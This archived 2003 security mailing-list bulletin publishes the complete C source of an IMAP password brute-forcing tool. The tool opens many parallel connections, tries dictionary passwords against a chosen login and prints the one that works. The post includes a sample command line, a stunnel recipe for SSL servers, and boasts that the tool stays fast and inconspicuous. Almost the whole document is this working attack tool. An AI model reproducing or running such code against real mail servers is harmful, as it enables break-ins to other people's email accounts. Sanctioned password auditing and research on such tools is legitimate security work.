

[TOOL] IMAP Password Brute Forcer

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-11/0039.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/09/03

To: list@securiteam.com

Date: 9 Nov 2003 15:26:01 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

IMAP Password Brute Forcer

DETAILS

IMAP password brute force tool. The tool can go up to 500 passwords / second on a remote host with 1000 connections in parallel if you like. It is fast and efficient.

Tool source:

/*

* IMAP bruter. Coded this in a hurry. hydra was to slow (and sucked 100% cpu).

* I had this one running with 30 passwords / second (100 parallel connections)

* against a single server and it did not even appear in top.

*

* Visit us -- your enemies already did.

* <http://www.thc.org> – THE HACKERS CHOICE

*

* gcc -Wall -O2 -g -o imap_bruter imap_bruter.c

*

* SSL support for dummies:

* stunnel -c -d 127.0.0.1:9993 -f -r imap.theirdomain.com:993

*

* Example: (Brute 40 in parallel)

Securiteam: [TOOL] IMAP Password Brute Forcer

```
* ./imap_bruter -r 1.2.3.4 -l carol -n 60 <dictionary.txt
*/
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>

struct peer_str
{
    char password[64];
    char buf[256];
    int sox;
    int read;
    char flags;
    time_t time;
};

#define FL_CONNECTED (0x01)
#define FL_HEADERREAD (0x02)

#define ERREXIT(a...) do { \
    fprintf(stderr, "%s:%d ", __func__, __LINE__); \
    fprintf(stderr, a); \
    exit(-1); \
} while (0)

static char g_flags;
#define FL_FINISHED (0x04) /* wordlist finished */
static unsigned short g_port;
static unsigned int g_ip;
static char *g_login;
static unsigned int g_parallel;
time_t time_now;
static fd_set g_rfds, g_wfds;
static unsigned int cracks;
static char *g_passwd;
static int n_peers;

struct peer_str peers[1024];

static unsigned int
hostname(char *host)
```

Securiteam: [TOOL] IMAP Password Brute Forcer

```
{
struct hostent *he;
int ip;

if ( (ip = inet_addr(host)) != -1)
    return ip;
if ( (he = gethostbyname(host)) == NULL)
    return -1;

if (he->h_length != 4)
    return -1;
return *(int *)he->h_addr;
}

int tcp_socket_connect(unsigned int ip, unsigned short port)
{
int fd;
struct sockaddr_in addr;
int i;

if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    return -1;

memset(&addr, 0, sizeof addr);
addr.sin_family = PF_INET;
addr.sin_addr.s_addr = ip;
addr.sin_port = port;

if (connect(fd, (struct sockaddr *)&addr, sizeof addr) != 0)
{
close(fd);
return -1;
}
i = i;
setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, &i, sizeof i);
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);

return fd;
}

static void
usage(void)
{
fprintf(stderr, ""
"imap-bruter [r|pn]\n"
"Options:\n"
"-r <ip address> - Server imapd runs on. [default: 127.0.0.1]\n"
"-p <port> - Port imapd runs on. [default: 143]\n"
"-l <login name> - Login name\n"
"-n <parallel> - Number of parallel connections.\n"
"Passwords are read from stdin. Stunnel can be used if IMAPS is in
```

```

place.\n"
");
    exit(0);
}

static void
do_getopt(int argc, char *argv[])
{
    int c;

    g_port = 143;
    g_parallel = 5;

    while ((c = getopt(argc, argv, "r:l:p:n:")) != -1)
    {
        switch (c)
        {
            case 'r':
                g_ip = hostname(optarg);
                break;
            case 'l':
                g_login = strdup(optarg);
                break;
            case 'p':
                g_port = atoi(optarg);
                break;
            case 'n':
                g_parallel = atoi(optarg);
                break;
            default:
                usage();
                break;
        }
    }

    if (g_ip == -1)
    {
        fprintf(stderr, "Unknown host!\n");
        usage();
    }
    if (!g_login)
        usage();
    if (g_parallel <= 0)
        usage();
}

static void
peer_clear(struct peer_str *p)
{
    if (p->sox >= 0)
        close(p->sox);
}

```

Securiteam: [TOOL] IMAP Password Brute Forcer

```
p->sox = -1;
p->read = 0;
p->flags = 0;
/* Keep 'password' as it has not yet been processed */
n_peers--;
}

static int
do_readpwd(struct peer_str *p)
{
    char *ptr;

    if (g_flags & FL_FINISHED)
        return -1;
    cracks++;
    memset(p->password, 0, sizeof p->password);
    if (fgets(p->password, sizeof p->password - 1, stdin) == NULL)
        return -1;

    g_passwd = p->password;
    ptr = strchr(p->password, '\n');
    if (ptr)
        *ptr = '\0';

    return 0;
}

/*
 * Socket ready for reading. Read line.
 */
void
do_read(struct peer_str *p)
{
    ssize_t n;
    char *ptr;
    char buf[1024];

    n = read(p->sox, p->buf + p->read, sizeof p->buf - p->read - 1);
    if (n <= 0)
        goto err;
    p->read += n;

    if (p->read + 1 >= sizeof p->buf)
        goto err;
    p->buf[p->read] = '\0';
    ptr = strchr(p->buf, '\n');
    if (!ptr)
        return;
    p->time = time_now;
    if (p->flags & FL_HEADERREAD)
    {
```

Securiteam: [TOOL] IMAP Password Brute Forcer

```
if (strstr(p->buf, " NO") == NULL)
{
    printf("FOUND '%s'\n", p->password);
    exit(0);
}
if (do_readpwd(p) != 0)
{
    g_flags |= FL_FINISHED;
    goto err;
}
} else {
    p->flags |= FL_HEADERREAD;
    if (p->password[0] == '\0')
    {
        if (do_readpwd(p) != 0)
        {
            g_flags |= FL_FINISHED;
            goto err;
        }
    }
}

snprintf(buf, sizeof buf, "1 login \"%s\" \"%s\"\\r\\n", g_login,
p->password);
n = strlen(buf);
if (write(p->sox, buf, n) != n)
{
    /* Write should not fail. Linux kernel always has 1024 write
    * buffer for us.
    */
    goto err;
}

return;
err:
    peer_clear(p);
}

static void
peer_init(struct peer_str *p)
{
    p->sox = -1;
    p->read = 0;
}

int
main(int argc, char *argv[])
{
    struct timeval tv;
    int conn;
    int maxfd;
```

Securiteam: [TOOL] IMAP Password Brute Forcer

```
struct peer_str *p;
int i, n;
int ret;
socklen_t len;
time_t time_last, time_start;
unsigned int hours, min, sec;
unsigned int old_cracks = 0;
double cs;

g_passwd = "<waiting...>";
do_getopt(argc, argv);
time_now = time(NULL);
time_start = time_now;
time_last = time_now;
printf("Bruting '%s' with %d in parallel\n", g_login, g_parallel);
for (i = 0; i < g_parallel; i++)
    peer_init(&peers[i]);

while (1)
{
    tv.tv_sec = 1;
    tv.tv_usec = 0;
    FD_ZERO(&g_rfds);
    FD_ZERO(&g_wfds);
    conn = 0;
    maxfd = 0;
    for (i = 0; i < g_parallel; i++)
    {
        if (peers[i].sox >= 0)
        {
            if (peers[i].flags & FL_CONNECTED)
                FD_SET(peers[i].sox, &g_rfds);
            else
                FD_SET(peers[i].sox, &g_wfds);
        } else if ((conn < 5) && (!(g_flags & FL_FINISHED))) {
            peers[i].time = time_now;
            peers[i].sox = tcp_socket_connect(g_ip, htons(g_port));
            if (peers[i].sox >= 0)
                FD_SET(peers[i].sox, &g_wfds);
            conn++;
        }
        if (peers[i].sox > maxfd)
            maxfd = peers[i].sox;
    }
    if (maxfd == 0)
    {
        fprintf(stderr, "Finished %u cracks after %lu sec.\n", cracks,
            time_now - time_start);
        exit(0);
    }
    n = select(maxfd + 1, &g_rfds, &g_wfds, NULL, &tv);
```

Securiteam: [TOOL] IMAP Password Brute Forcer

```
time_now = time(NULL);
if ((time_last < time_now) && (old_cracks != cracks))
{
    sec = time_now - time_start;
    hours = sec / 3600;
    min = (sec - hours * 3600) / 60;
    sec = sec % 60;
    cs = ((float)cracks) / ((float)(time_now - time_start));
    fprintf(stderr, "[%u:%02u:%02u] total: %d with %d peers: '%s'
(%1.03f c/s)\n", hours, min, sec, cracks, n_peers, g_passwd, cs);
    time_last = time_now;
    old_cracks = cracks;
}

for (i = 0; i < g_parallel; i++)
{
    p = &peers[i];
    if (p->sox < 0)
        continue;

    if (p->time + 30 < time_now)
    {
        fprintf(stderr, "TIMEOUT on socket...\n");
        peer_clear(p);
        continue;
    }

    if (FD_ISSET(p->sox, &g_wfds))
    {
        len = sizeof ret;
        ret = 0;
        if ((getsockopt(p->sox, SOL_SOCKET, SO_ERROR, &ret, &len) != 0) ||
(ret != 0))
            peer_clear(p);
        else {
            p->flags |= FL_CONNECTED;
            n_peers++;
        }

    } else if (FD_ISSET(p->sox, &g_rfds)) {
        do_read(p);
    }
} /* for through all peers.. */
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:skyper@segfault.net>> Skyper.

=====

Securiteam: [TOOL] IMAP Password Brute Forcer

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.